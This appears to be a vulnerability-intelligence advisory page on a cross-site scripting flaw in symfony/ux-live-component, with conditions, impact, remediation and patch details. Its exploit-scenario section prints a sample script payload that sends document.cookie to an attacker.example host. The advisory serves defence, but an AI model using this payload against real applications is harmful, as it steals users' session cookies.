Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAttacker identifies CORS-permissive Live Component endpoint
-
DeliveryCraft JSON payload with malicious children[id].tag value
-
ExploitSend re-render request with Accept: application/vnd.live-component+html header
-
ExecutionServer interpolates unsanitized tag into HTML response
-
PersistVictim browser injects response into DOM
-
ImpactInjected script executes in application origin context
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the attacker to be able to send a request with the Accept: application/vnd.live-component+html header to the application's Live Component endpoint. In the default Symfony UX configuration, browsers cannot set this header cross-origin without a CORS preflight, so cross-site exploitation is blocked unless the application has explicitly configured CORS to permit this header from untrusted origins (e.g., Access-Control-Allow-Headers includes the live-component accept value for wildcard or untrusted origins). Exploitation is also possible if the attacker has achieved same-origin JavaScript execution through a separate vulnerability (same-origin pivot). Additionally, the targeted Live Component must include at least one child component - parent-only components are not affected. Limiting factors include: no direct exploitation from a remote unauthenticated attacker under default CORS posture; no exploitation of components without child component structure; and the child component must be re-rendered (not initial-render only) for the injection path to be triggered. |
| Impact | Real-world exploitability is meaningfully constrained by the default same-origin restriction: the Live Component endpoint requires the Accept: application/vnd.live-component+html header, which browsers cannot send cross-origin without a CORS preflight. This reduces the realistic attack surface to two scenarios - applications that have explicitly relaxed CORS to allow this header from untrusted origins, or attackers who have already achieved same-origin JavaScript execution via another vulnerability. No CVSS vector or score was published by NVD at time of analysis, so metric-level risk signals (attack complexity, privileges required) are independently assessed rather than vendor-confirmed. No EPSS data is available. No KEV listing exists. No public exploit code has been identified. The absence of these high-urgency signals, combined with the non-default CORS precondition, places this vulnerability at medium real-world priority - meaningful for affected deployments but not broadly auto-exploitable at internet scale. |
| Exploit ScenarioDerived | An attacker targeting an application with permissive CORS (allowing the Accept: application/vnd.live-component+html header cross-origin) crafts a malicious web page that causes a victim's browser to issue a Live Component re-render request with children[id].tag set to a payload such as li><script>document.location='https://attacker.example/steal?c='+document.cookie</script><li. The server interpolates this value unvalidated into the HTML response, which the Symfony UX JavaScript runtime injects into the victim's DOM, executing the script in the context of the target application's origin. No public exploit code exists, but the mechanism is straightforward and the commit diff includes comprehensive test payloads that map the full injection surface. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 19, 2026
Cross-site scripting in symfony/ux-live-component allows network-accessible attackers to inject arbitrary HTML - including script tags - into re-rendered Live Component responses by supplying a malicious tag name via client-controlled JSON. Affected versions span composer/symfony/ux-live-component >= 2.8.0 < 2.36.0 and >= 3.0.0 < 3.1.0. Direct exploitation is constrained to applications with permissive CORS or same-origin pivot contexts; under default configuration the required Accept header provides partial protection that makes this a defense-in-depth gap rather than an immediately weaponizable internet-wide threat. No public exploit and no CISA KEV listing are confirmed at time of analysis.
RemediationAI
The primary fix is to upgrade symfony/ux-live-component to 2.36.0 (for 2.x installations) or 3.1.0 (for 3.x installations). The upstream patch is available at https://github.com/symfony/ux/commit/fbc5e9a1bda7e4556be21bb1d970f382760ed9a9 and has been forward-ported to both branches. If an immediate upgrade is not feasible, the most impactful compensating control is to audit and restrict your application's CORS policy: ensure the Accept: application/vnd.live-component+html header cannot be sent from untrusted origins without a preflight that your server will reject. This is the single configuration that elevates the vulnerability from a defense-in-depth gap to a directly exploitable issue. Additionally, enforcing Content-Security-Policy headers to block inline script execution will reduce the potential impact of any successful XSS injection. Note that CSP is a mitigating layer, not a fix - it does not remove the injection point. Full remediation requires the patch.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 3 packages in composer, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Symfony UX LiveComponent is a PHP/Twig framework extension that enables reactive, AJAX-driven UI components (composer package symfony/ux-live-component). During a partial re-render, the server processes a JSON payload from the client describing child component state - including a 'tag' field (children[id].tag) representing the HTML element name to wrap the child component. This value flowed from LiveComponentSubscriber through InterceptChildComponentRenderSubscriber into ChildComponentPartialRenderer::createHtml(), where it was interpolated directly into the HTML output as the tag name without sanitization or validation. CWE-79 (Improper Neutralization of Input During Web Page Generation) is the root cause: user-supplied data was treated as trusted markup rather than content. The patch adds a strict allow-list regex (/\A[a-zA-Z][a-zA-Z0-9-]*+\z/) and raises a BadRequestHttpException on any non-conforming value, closing the injection point at the class boundary.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
AV:N because the endpoint is network-accessible; AC:H because exploitation requires non-default CORS or a same-origin pivot; UI:R because a victim must trigger the component re-render; S:C and C:L/I:L reflect standard reflected-XSS scope change with session/data impact.
Primary rating from Vendor (https://github.com/symfony/ux).
CVSS VectorVendor: https://github.com/symfony/ux
Lifecycle Timeline
1DescriptionCVE.org
Description
Symfony\UX\LiveComponent\Util\ChildComponentPartialRenderer::createHtml() interpolates the $childTag argument directly into the HTML output as a tag name, without escaping or validation. The value originates from client-controlled JSON (children[id].tag) parsed by LiveComponentSubscriber and propagated through InterceptChildComponentRenderSubscriber, so an attacker who can reach the Live Component endpoint can inject arbitrary HTML, including <script> tags, on any re-render of a Live Component that contains at least one child component.
In the default configuration, the Live Component endpoint is gated by an Accept: application/vnd.live-component+html request-header check that cannot be set cross-origin without a CORS preflight, so the issue is primarily a defense-in-depth gap. It becomes directly exploitable on applications that have relaxed CORS to allow this header from untrusted origins, or that have been pivoted from another same-origin XSS.
Resolution
ChildComponentPartialRenderer now validates $childTag against a strict HTML tag-name regex before interpolating it, and rejects any value that doesn't match. Anything that wouldn't be a valid HTML tag is dropped before reaching the response.
The patch for this issue is available here for branch 2.x (and forward-ported to 3.x).
Credits
Symfony would like to thank Pascal Cescon for reporting the issue and Hugo Alliaume for providing the fix.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
EUVD-2026-45210
GHSA-38x5-rcv4-xf7x
NVD
CVE.org
EPSS
Exploit-DB